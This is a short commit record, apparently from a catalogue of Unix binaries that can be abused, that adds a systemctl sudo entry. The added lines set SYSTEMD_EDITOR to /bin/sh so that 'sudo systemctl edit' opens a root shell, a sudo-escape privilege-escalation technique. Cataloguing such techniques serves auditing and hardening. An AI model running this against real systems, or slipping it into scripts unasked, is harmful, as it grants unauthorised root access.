Add systemctl example using SYSTEMD_EDITOR

Close #65.
master
Miles Whittaker 2019-07-02 18:14:29 +02:00 committed by Andrea Cardaci
parent 66655322f3
commit aa08187718
1 changed files with 5 additions and 0 deletions

View File

@ -11,6 +11,11 @@ functions:
./systemctl link $TF
./systemctl enable --now $TF
sudo:
- code: |
TF=$(mktemp)
echo /bin/sh >$TF
chmod +x $TF
sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice
- code: |
TF=$(mktemp).service
echo '[Service]